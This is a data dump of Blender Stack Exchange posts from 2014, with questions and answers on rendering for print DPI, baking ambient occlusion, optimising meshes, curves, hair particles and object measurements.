  <row Id="13935" PostTypeId="1" AcceptedAnswerId="13941" CreationDate="2014-07-11T04:31:26.933" Score="1" ViewCount="94" Body="&lt;p&gt;I've made the model of a table, actually it consists of 3 objects (i need to keep them as separate) is there any way how I can see the overal dimensions (actually I  need to get the height) of all objects that the table consists of ? After selecting objects the panel on the right shows the dimensions of the bigest object one.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DA7KJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx.&lt;/p&gt;&#xA;" OwnerUserId="5142" LastEditorUserId="5142" LastEditDate="2014-07-11T08:03:34.427" LastActivityDate="2014-07-11T08:03:34.427" Title="Overal dimensions of objects" Tags="&lt;units&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13936" PostTypeId="1" AcceptedAnswerId="13937" CreationDate="2014-07-11T04:38:14.280" Score="2" ViewCount="4625" Body="&lt;p&gt;Is there a way to output for Print. I want to save in a higher DPI than the default 72dpi say 300dpi that's a good quality for printed pieces. I tried downloading an add-on but don't know if I am installing it correctly it isn't showing up but the bar in python is green. I'm using the 2.69 version of Blender. If no such feature exists what size have any of you found best for print quality. Thank you &lt;/p&gt;&#xA;" OwnerUserId="5162" LastActivityDate="2020-09-04T17:12:40.743" Title="Output for Print" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2014-07-11T05:21:45.937" ContentLicense="CC BY-SA 3.0" />
  <row Id="13937" PostTypeId="2" ParentId="13936" CreationDate="2014-07-11T05:13:39.207" Score="5" Body="&lt;p&gt;You don't need any plugins, and any version of Blender is suitable to create images for printing at a specific DPI.&lt;/p&gt;&#xA;&lt;p&gt;What you need to know is the number of pixels needed in the rendered image,  to match the density of DPIs at the time of printing.&lt;/p&gt;&#xA;&lt;p&gt;There are plenty of online Image Size Calculators you can use to get to those numbers, like &lt;a href=&quot;https://www.pixelcalculator.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;this one&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;As an EXAMPLE: an image printed in a letter size paper at 300DPI will need &lt;strong&gt;2550x3300 pixels&lt;/strong&gt;. The same number of pixels would fill a 3.75&amp;quot; x 5.5&amp;quot; print at 600DPI or a 30&amp;quot;x 44&amp;quot; display at 72DPI, or a 17'x 22' billboard at 12 DPI...&lt;/p&gt;&#xA;&lt;p&gt;In contrast, If you were to print an image of only 640x480 pixels to the size of a letter size paper (8.5&amp;quot;x11&amp;quot;), it will always look pixelated, even if you were to print it at 300dpi or 1200dpi, as there is not enough information on the file to match the print density.&lt;/p&gt;&#xA;&lt;p&gt;Once you know what size you want to print and the resolution in DPI of the printer, you can calculate the number of pixels you need, and that's the number you'd type in &amp;quot;resolution&amp;quot; of the render settings in blender.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nPXZs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nPXZs.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;As for embedding DPI information as part of the file, it is just an added tag in the metadata for the file, that in no way changes the picture information. If you absolutely require a DPI tag in your file, you have to use other apps or software that can do that for you, like &lt;a href=&quot;https://superuser.com/questions/479197/i-want-to-change-dpi-with-imagemagick-without-changing-the-actual-byte-size-of-t&quot;&gt;imagemagik&lt;/a&gt;, but other apps like photoshop, gimp or similar can do that as well.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="92768" LastEditorDisplayName="user1853" LastEditDate="2020-09-04T17:12:40.743" LastActivityDate="2020-09-04T17:12:40.743" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13938" PostTypeId="2" ParentId="5082" CreationDate="2014-07-11T05:15:43.690" Score="1" Body="&lt;p&gt;Note, that this is a feature intentionally left out of Blender, preparing images for print is out of scope for most 3D applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggest to automate setting the DPI with a command-line tool, eg:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://superuser.com/a/479199/240907&quot;&gt;https://superuser.com/a/479199/240907&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you dont have to manually open and resave each time.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-03-20T10:18:02.580" LastActivityDate="2014-07-11T05:20:55.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13939" PostTypeId="2" ParentId="13932" CreationDate="2014-07-11T06:01:45.080" Score="1" Body="&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/questions/2466/how-does-normal-baking-work&quot;&gt;How does normal baking work?&lt;/a&gt; on how normal maps are created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't bake other textures and the normal into a normal map because the normal map encodes the direction of the normals in the RGB channels of the image representing the map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Textures/Influence/Material/Bump_and_Normal&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bump_and_Normal&lt;/a&gt;  (Linked to 2.4 because there is more info)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Normal maps in Blender store a normal as follows:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Red maps from (0-255) to X (-1.0 - 1.0)&lt;/li&gt;&#xA;  &lt;li&gt;Green maps from (0-255) to Y (-1.0 - 1.0)&lt;/li&gt;&#xA;  &lt;li&gt;Blue maps from (0-255) to Z (0.0 - 1.0)&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since can add more than one texture to a model this isn't a restriction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: A normal vector is perpendicular to a face its coordinates (x,y,z) are stored as a pixel in an image map. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dw3es.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2014-07-11T06:49:23.523" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="13940" PostTypeId="2" ParentId="13910" CreationDate="2014-07-11T06:26:40.963" Score="3" Body="&lt;p&gt;No need to use multiple curves:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a circle (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Curve &gt; Circle&lt;/em&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;) and set the handles to vector (&lt;kbd&gt;V&lt;/kbd&gt;&lt;em&gt;&gt; Vector&lt;/em&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete one segment by selecting two of the control vertices on one side and pressing &lt;kbd&gt;Delete&lt;/kbd&gt;&lt;em&gt;&gt; Segments&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ax3Tn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To align the curve to the axes, rotate it 45&amp;deg; on the Z (&lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; &lt;code&gt;45&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-07-11T06:34:32.830" LastActivityDate="2014-07-11T06:34:32.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13941" PostTypeId="2" ParentId="13935" CreationDate="2014-07-11T06:34:02.057" Score="1" Body="&lt;p&gt;You could enable edge or face infos in &lt;em&gt;Edit Mode&lt;/em&gt; it would display the measures for the selected edges/faces since only one object is active in &lt;em&gt;Edit Mode&lt;/em&gt; you can only pick one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although you can set &lt;em&gt;Viewport Shading&lt;/em&gt; to bounding box there is no option to display the length. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1yk7k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/274/what-are-some-best-practices-when-modelling-with-exact-measurements&quot;&gt;How to model effectively using exact measurements?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/3366/display-bounding-box-around-objects&quot;&gt;Display bounding box around objects&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2014-07-11T06:34:02.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13942" PostTypeId="1" CreationDate="2014-07-11T07:15:09.077" Score="3" ViewCount="6716" Body="&lt;p&gt;I am working with a very old mesh; actually it is a terrain. I selected a part of it, where the surface of water is. You may think it does not look too good and you may be right as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/En6xs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The surface is like two surfaces on the same plain, so when it comes to render, it looks like this (I highlighted the area of overlap):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kuJ2T.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used disolve faces on this, where this texture was used, but as you may see, it is still two surfaces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PLCHv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sure I could remove faces easier now, but I thought there may be a better way for this. I want to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;merge the surface into one, preserving the UVs &lt;strong&gt;OR&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;li&gt;delete one surface (problem here: bigger parts, what I would love to keep are&#xA;sometimes hiding the scattered surface, and I can not select that, to&#xA;delete) &lt;strong&gt;OR&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;optimize this magically, to &quot;just make it work&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1090" LastActivityDate="2014-07-11T09:59:54.373" Title="How to optimize old meshes?" Tags="&lt;mesh&gt;&lt;editing&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13943" PostTypeId="2" ParentId="13942" CreationDate="2014-07-11T08:35:08.050" Score="1" Body="&lt;p&gt;If I see it right, you have a flat area wich you want to optimize.&lt;br&gt;&#xA;The easiest way to optimize this region is to delete the faces(I know the UVs get lost, you have to generate it for these faces again).&lt;br&gt;Select the surrounding Edges.&lt;br&gt;Then you can use the GridFill tool, wich you can access via the &lt;kbd&gt;Spacebar&lt;/kbd&gt; menu.(Type in &lt;strong&gt;GridFill&lt;/strong&gt;)&lt;br&gt;&#xA;Tweak the values until it looks good.&lt;/p&gt;&#xA;" OwnerUserId="3369" LastEditorUserId="3369" LastEditDate="2014-07-11T08:45:05.997" LastActivityDate="2014-07-11T08:45:05.997" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13944" PostTypeId="2" ParentId="13920" CreationDate="2014-07-11T09:16:27.890" Score="4" Body="&lt;p&gt;If you link an object, all properties of the object are in the file from wich you linked the object.(inclusive the position)&lt;br&gt;If you want to keep your object movable, you can link the mesh(not the Mesh Object) of the object. Then create a new mesh-object, go to the object-Settings(&lt;img src=&quot;https://i.stack.imgur.com/Yh2FN.png&quot; alt=&quot;&quot;&gt;) of the object in the properties window and change the Mesh(&lt;img src=&quot;https://i.stack.imgur.com/tNx9e.png&quot; alt=&quot;&quot;&gt;) to the linked Mesh.&lt;/p&gt;&#xA;" OwnerUserId="3369" LastEditorUserId="3369" LastEditDate="2014-07-13T18:13:04.173" LastActivityDate="2014-07-13T18:13:04.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13945" PostTypeId="2" ParentId="13942" CreationDate="2014-07-11T09:59:54.373" Score="2" Body="&lt;p&gt;You can use the &lt;strong&gt;Decimate&lt;/strong&gt; modifier to optimize the mesh and it should preserve UVs.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select your object in Object mode&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add Modifier &lt;strong&gt;Decimate&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the modifier settings, select &lt;strong&gt;Planar&lt;/strong&gt; and set a low angle limit (1 degree is enough if your mesh is truly flat).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cEeA4.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Apply the modifier when you're done. Check the face count to see how many polygons you have now.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Note:&lt;/strong&gt; The Decimate modifier affects the whole object&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="5163" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-07-11T09:59:54.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13946" PostTypeId="1" CreationDate="2014-07-11T11:33:49.530" Score="0" ViewCount="800" Body="&lt;p&gt;Even though I have made a character and applied material and some lightning effect, I still can't get somewhat skinny color - somewhat red as like real one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this &lt;a href=&quot;http://youtu.be/jEnCsvcvX8k?t=26m19s&quot; rel=&quot;nofollow&quot;&gt;video by Andrew Price&lt;/a&gt;, the object is not so real, but when rendered it gives very realistic image!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I want to make hair for my character. I found every one using Cycles. But when I do Cycles render it takes forever, about half an hour for an image. So I want to make hair in Cycles and later choose Blender Internal. What will happen if I do so?&lt;/p&gt;&#xA;" OwnerUserId="5164" LastEditorUserId="5164" LastEditDate="2014-07-11T14:19:11.860" LastActivityDate="2014-07-11T14:19:11.860" Title="Make hair in Blender Internal, but render in Cycle, realistic skin in blender render?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;particles&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13947" PostTypeId="1" AcceptedAnswerId="13950" CreationDate="2014-07-11T11:51:31.937" Score="0" ViewCount="200" Body="&lt;p&gt;I'm a completely new blender user! I want to change my own drawing (on paper) into animation using blender. Is it possible? and if yes how should i start?&lt;/p&gt;&#xA;" OwnerUserId="5165" LastEditorUserId="696" LastEditDate="2014-07-11T12:58:49.410" LastActivityDate="2014-07-11T13:09:14.047" Title="Turning my own character into animation" Tags="&lt;modeling&gt;&lt;animation&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="0" ClosedDate="2015-03-03T04:26:40.003" ContentLicense="CC BY-SA 3.0" />
  <row Id="13949" PostTypeId="1" CreationDate="2014-07-11T12:15:40.357" Score="2" ViewCount="394" Body="&lt;p&gt;I am trying to use speech bubbles in BGE. I have them in another layer and I want them to appear in a specific position above a character. I used a near sensor so every time you go near that character they appear. The problem is that they appear in the center of my character and rotated in the wrong way. I don't know how to change their position so that they would appear where I want them to.&lt;/p&gt;&#xA;" OwnerUserId="5167" LastEditorUserId="2217" LastEditDate="2014-07-11T13:12:48.023" LastActivityDate="2014-07-11T21:57:17.033" Title="BGE problem with speech bubbles" Tags="&lt;game-engine&gt;&lt;objects&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13950" PostTypeId="2" ParentId="13947" CreationDate="2014-07-11T12:20:18.000" Score="1" Body="&lt;p&gt;its definitely possible.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;you've got to model your drawing.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;how to model&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;When I start creating a character, I draw it on a paper how its supposed to look from the front, then how its supposed to look from the side.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then you put your drawing as a background image in blender and model the mesh along the lines of your drawing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;give it an armature, that armature acts as the skeleton of your model and you can animate the bones of that armature.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5168" LastEditorUserId="2217" LastEditDate="2014-07-11T13:09:14.047" LastActivityDate="2014-07-11T13:09:14.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13954" PostTypeId="2" ParentId="13946" CreationDate="2014-07-11T13:22:02.813" Score="1" Body="&lt;p&gt;Assuming you don't change any of the particle settings, then there would be no problem rendering the hair in cycles and blender internal. &lt;strong&gt;Note&lt;/strong&gt; you will need two different materials, one for the internal, and one for cycles.&lt;br&gt;&#xA;See &lt;a href=&quot;https://blender.stackexchange.com/q/6446/2217&quot;&gt;this&lt;/a&gt; question for how to use materials in blender internal and cycles.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-07-11T13:22:02.813" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13955" PostTypeId="1" CreationDate="2014-07-11T14:13:38.320" Score="5" ViewCount="4619" Body="&lt;p&gt;What does the &quot;Pack Quality&quot; option do in the Lightmap Pack settings box? The option's tooltip says &lt;em&gt;Pre Packing before the complex boxpack&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qYFvI.png&quot; alt=&quot;Lightmap Pack options&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="743" LastActivityDate="2014-07-11T21:46:31.907" Title="What does Lightmap Pack's &quot;Pack Quality&quot; option do?" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13956" PostTypeId="1" AcceptedAnswerId="13957" CreationDate="2014-07-11T14:49:32.330" Score="20" ViewCount="64970" Body="&lt;p&gt;I have a model and I need to bake ambient occlusion for it. How do I bake an AO texture?&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="241" LastEditDate="2020-05-27T13:29:57.780" LastActivityDate="2020-05-27T13:29:57.780" Title="How do you bake ambient occlusion for a model?" Tags="&lt;texture-baking&gt;&lt;ambient-occlusion&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="13957" PostTypeId="2" ParentId="13956" CreationDate="2014-07-11T14:49:32.330" Score="46" Body="&lt;h3&gt;First you need to UV unwrap the model so the texture can be baked&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You should do this manually if you plan to need to create a real texture and you want a clean unwrapping. If you only need an AO map, Blender can do it for you automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, split the viewport by clicking and dragging the grip found in the top right corner of the 3D viewport out from the left to the center of the window. Set the new viewport to the &lt;em&gt;UV/Image Editor&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yFFvk.png&quot; alt=&quot;UV/Image Editor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now Hit &lt;kbd&gt;Tab&lt;/kbd&gt; to enter &lt;em&gt;Edit Mode&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With your cursor over the &lt;em&gt;3D Viewport&lt;/em&gt;, hit &lt;kbd&gt;A&lt;/kbd&gt; once or twice so that the whole model is selected (orange).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With your cursor still over the &lt;em&gt;3D Viewport&lt;/em&gt;, hit &lt;kbd&gt;U&lt;/kbd&gt; and click &lt;em&gt;Lightmap Pack&lt;/em&gt;. Enable &lt;em&gt;New Image&lt;/em&gt; and set the resolution to a power of two that you want the lightmap's image to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should now have a UV unwrapping in the &lt;em&gt;UV/Image Editor&lt;/em&gt; viewport.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Next, set the material to pure white if desired&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you plan to use this ambient occlusion map as an overlay in an actual diffuse texture that you create, you want the flat parts of the surface to appear pure white so that they are pure transparent when overlaid with a multiply blend mode. By default, the ambient occlusion texture bake will include the color of the surface which is the default gray. To fix this, go to the &lt;em&gt;Material&lt;/em&gt; tab and drag the &lt;em&gt;color&lt;/em&gt; up to pure white and the &lt;em&gt;intensity&lt;/em&gt; up to 1.000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nPxmi.png&quot; alt=&quot;&quot;&gt;&lt;br&gt;&#xA;&lt;em&gt;Upper box: drag the circle all the way up to pure white&lt;/em&gt;&lt;br&gt;&#xA;&lt;em&gt;Lower box: drag the intensity box to the right until it reaches 1.000&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Now you can set up the actual texture baking&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Under the &lt;em&gt;World&lt;/em&gt; tab, enable &lt;em&gt;Ambient Occlusion&lt;/em&gt; and then set the &lt;em&gt;Samples&lt;/em&gt; under the &lt;em&gt;Gather&lt;/em&gt; section to a number that you like. The higher the number, the higher the lightmap quality but consequently the higher the bake time. You may want to set it to something lower such as 20 for test bakes before you create a final bake at a higher setting such as 128.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KECLv.png&quot; alt=&quot;Samples&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, go to the &lt;em&gt;Render&lt;/em&gt; tab and under the &lt;em&gt;Bake&lt;/em&gt; section, set the &lt;em&gt;Bake Mode&lt;/em&gt; to &lt;em&gt;Ambient Occlusion&lt;/em&gt;. Then hit the &lt;em&gt;Bake&lt;/em&gt; button and wait as the ambient occlusion map is baked for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/syEHj.png&quot; alt=&quot;Bake Mode: Ambient Occlusion&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can watch the progress as the texture is created in the &lt;em&gt;UV/Image Editor&lt;/em&gt; and the progress bar at the top of Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8hyVN.png&quot; alt=&quot;Texture Bake progress&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it is done baking, leave &lt;em&gt;Edit Mode&lt;/em&gt; by hitting &lt;kbd&gt;Tab&lt;/kbd&gt; and setting the &lt;em&gt;Viewport Shading&lt;/em&gt; to &lt;em&gt;Texture&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qbTC8.png&quot; alt=&quot;Viewport Shading: Texture&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now see your model with ambient occlusion!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eqT2q.png&quot; alt=&quot;Model with ambient occlusion texture&quot;&gt;&lt;br&gt;&#xA;&lt;em&gt;Note the gray: this will occur if you do not set the material to white prior to baking as described above&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now export this texture from the &lt;em&gt;UV/Image Editor&lt;/em&gt; by clicking &lt;em&gt;Image&lt;/em&gt; &gt; &lt;em&gt;Save As Image&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NrY6V.png&quot; alt=&quot;Image &amp;gt; Save As Image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just name the file, choose a format, select a file location, and hit &lt;em&gt;Save As Image&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="743" LastEditDate="2015-03-02T23:41:18.143" LastActivityDate="2015-03-02T23:41:18.143" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13958" PostTypeId="1" AcceptedAnswerId="13961" CreationDate="2014-07-11T14:55:57.167" Score="2" ViewCount="1660" Body="&lt;p&gt;I baked an ambient occlusion map of a model but the main surfaces appear gray. I would like them to appear white so that I can multiply the ambient occlusion map with a texture map that I make.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I bake ambient occlusion maps where a flat surface appears white rather than gray?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a picture of the model which appears gray:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uL9sH.png&quot; alt=&quot;Model&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the AO map which shows the gray:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FB2lC.png&quot; alt=&quot;Lightmap&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="599" LastEditDate="2014-07-11T20:10:07.300" LastActivityDate="2014-07-11T20:13:31.277" Title="How do I make baked ambient occlusion surfaces appear white instead of gray?" Tags="&lt;blender-internal-render-engine&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13959" PostTypeId="2" ParentId="13934" CreationDate="2014-07-11T15:52:24.193" Score="0" Body="&lt;p&gt;While there is an addon to use pov-ray to render from blender there doesn't appear to be any recent attempts to import pov-ray files into blender. The best option appears to be &lt;a href=&quot;https://sites.google.com/site/poseray/&quot; rel=&quot;nofollow&quot;&gt;poseray&lt;/a&gt; which can read pov-ray and save as obj which blender can import. I'm not sure if it handles animations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for doing your animation in blender you can animate almost every value available. This means you can animate the colour of the star or the amount of light it emits as well as it's movement. With the mouse over a value you can press &lt;kbd&gt;I&lt;/kbd&gt; to keyframe the value or right click and select Insert Keyframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are referring to the star being composed of multiple colours then you can assign a different material to each polygon in the star or you can use an image to control what colour appears where on the star.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course if you prefer a text based approach there is nothing stopping you from writing a python script that creates and animates the star. This might be a steeper learning curve though. &lt;a href=&quot;http://www.blender.org/documentation/250PythonDoc/&quot; rel=&quot;nofollow&quot;&gt;Blender's python documentation&lt;/a&gt; includes a quickstart and an overview to get you started.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-07-11T15:52:24.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13960" PostTypeId="1" AcceptedAnswerId="13965" CreationDate="2014-07-11T17:17:45.033" Score="2" ViewCount="109" Body="&lt;p&gt;With edge length displaying enabled I can see the length of the currently selected edges. Is there a way I can show the length of all edges without selecting them all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Agagg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-07-11T23:21:35.310" Title="Show length for surrounding edges as well" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
